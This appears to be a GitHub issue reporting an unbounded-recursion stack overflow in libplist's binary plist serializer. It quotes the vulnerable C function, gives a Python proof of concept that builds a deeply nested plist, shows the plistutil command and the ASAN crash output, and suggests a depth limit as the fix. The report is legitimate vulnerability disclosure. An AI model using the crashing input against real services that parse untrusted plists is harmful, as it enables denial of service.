-
-
Notifications
You must be signed in to change notification settings - Fork 329
Open
Description
Description
When serializing the plist, the recursion depth of serialize_plist was not restricted, resulting in a stack overflow.
plist_err_t plist_to_bin(plist_t plist, char **plist_bin, uint32_t * length)
{
[...]
serialize_plist((node_t)plist, &ser_s);
[...]
}
static void serialize_plist(node_t node, void* data)
{
uint64_t *index_val = NULL;
struct serialize_s *ser = (struct serialize_s *) data;
uint64_t current_index = ser->objects->len;
//first check that node is not yet in objects
void* val = hash_table_lookup(ser->ref_table, node);
if (val)
{
//data is already in table
return;
}
//insert new ref
index_val = (uint64_t *) malloc(sizeof(uint64_t));
assert(index_val != NULL);
*index_val = current_index;
hash_table_insert(ser->ref_table, node, index_val);
//now append current node to object array
ptr_array_add(ser->objects, node);
//now recurse on children
node_t ch;
for (ch = node_first_child(node); ch; ch = node_next_sibling(ch)) {
serialize_plist(ch, data);
}
}PoC
cnt = 500000
prefix = "<array>"
suffix = "</array>"
plist = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
""" + prefix * cnt + suffix * cnt + "</plist>"
with open("1.plist", "w") as f:
f.write(plist)plistutil -i 1.plist -f binASAN Output
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2209054==ERROR: AddressSanitizer: stack-overflow on address 0x7fffbfc26fe0 (pc 0x7d5f702d58c1 bp 0x000000000000 sp 0x7fffbfc26fd0 T0)
#0 0x7d5f702d58c1 in __sanitizer::StackDepotNode::hash(__sanitizer::StackTrace const&) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepot.cpp:54
#1 0x7d5f702d58c1 in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepotbase.h:104
#2 0x7d5f702d53cb in __sanitizer::StackDepotPut(__sanitizer::StackTrace) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepot.cpp:98
#3 0x7d5f7022c50a in __asan::Allocator::Allocate(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType, bool) ../../../../src/libsanitizer/asan/asan_allocator.cpp:573
#4 0x7d5f7022819a in __asan::asan_malloc(unsigned long, __sanitizer::BufferedStackTrace*) ../../../../src/libsanitizer/asan/asan_allocator.cpp:980
#5 0x7d5f702b4861 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:146
#6 0x7d5f70d64617 in hash_table_insert ../src/hashtable.c:80
#7 0x7d5f70d7b893 in serialize_plist ../src/bplist.c:1019
#8 0x7d5f70d7b8ef in serialize_plist ../src/bplist.c:1027
#9 0x7d5f70d7b8ef in serialize_plist ../src/bplist.c:1027
[...]
SUMMARY: AddressSanitizer: stack-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepot.cpp:54 in __sanitizer::StackDepotNode::hash(__sanitizer::StackTrace const&)
==2209054==ABORTINGSuggestion Repair
Create a variable to record the depth of the recursion. If it exceeds a certain depth, return an error.
Metadata
Metadata
Assignees
Labels
No labels